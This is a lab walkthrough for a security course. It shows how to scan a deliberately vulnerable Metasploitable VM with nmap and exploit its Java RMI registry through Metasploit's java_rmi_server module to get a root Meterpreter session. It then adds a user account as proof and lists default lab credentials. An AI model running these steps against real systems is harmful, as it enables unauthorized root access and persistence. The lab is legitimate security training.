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Bài Thực Hành Metasploit Framework Lesson 5 : Exploiting the RMI Registration Server


Section 0. Background Information
  1. Metasploitable 
  2. Pre-Requisite Lab
    • Metasploitable  : Lesson 1: Downloading and Configuring
     
  3. What RMI?
    • The RMI protocol makes use of two other protocols for its on-the-wire format: Java Object Serialization and HTTP. The Object Serialization protocol is used to marshal call and return data. The HTTP protocol is used to "POST" a remote method invocation and obtain return data when circumstances warrant. Each protocol is documented as a separate grammar. Nonterminal symbols in production rules may refer to rules governed by another protocol (either Object Serialization or HTTP). When a protocol boundary is crossed, subsequent productions use that embedded protocol.
  4. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the RMI Service
      3. Exploit the RMI Server and obtain root.
  5. Legal Disclaimer - Bài lab chỉ dùng cho môi trường học tập 

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.106.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.111
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Note(FYI):
      • Replace 192.168.1.106 with the Metasploitable IP Address obtained from (Section 2, Step 2).
      • This intense NMAP scan could take 3 to 5 minutes to run.
    • Instructions:
      1. nmap -p 1-65535 -T4 -A -v 192.168.1.106 2>&1 | tee /var/tmp/scan.txt
  2. Looking for rpcinfo, nfs and ssh
    • Instructions:
      1. cd /var/tmp
      2. grep -i rmi scan.txt
    • Note(FYI):
      • rmiregistry server runs on port 1099 on TCP.

Section 6. Exploit the RMI Registry Server
  1. Start the Metasploit Console
    • Instructions:
      1. msfconsole
  2. Use Java RMI Server Exploit
    • Instructions:
      1. search java_rmi
      2. use exploit/multi/misc/java_rmi_server
  3. Set RHOST (Victim IP Address)
    • Instructions:
      1. show options
      2. set RHOST 192.168.1.106
      • Note(FYI):
      • Replace 192.168.1.106 with the Metasploitable IP Address obtained from (Section 2, Step 2).
  4. Exploit
    • Instructions:
      1. exploit
      • Note(FYI):
      • Now you should see a Meterpreter session opened between BackTrack to Metasploitable.
  5. Help
    • Instructions:
      1. help
      • Note(FYI):
      • The help command will provide all the available options that can be used for this particular exploit.
  6. Got root?
    • Instructions:
      1. ifconfig
      2. getuid
      • Note(FYI):
      • Very kool, you should see that you now have root access.
Section 7. Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. shell
      2. whoami
      3. useradd -m -d /home/student -c "Student Hacker" -s /bin/bash student
      4. grep student /etc/passwd
      5. date
      6. echo "Your Name"
        • Put in your actual name in place of "Your Name"
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press the <Ctrl> and <Alt> key at the same time.
      2. Press the <PrtScn> key.
      3. Paste into a word document
      4. Upload to website Www.AnToanThongTin.Edu.VN
Nhãn:

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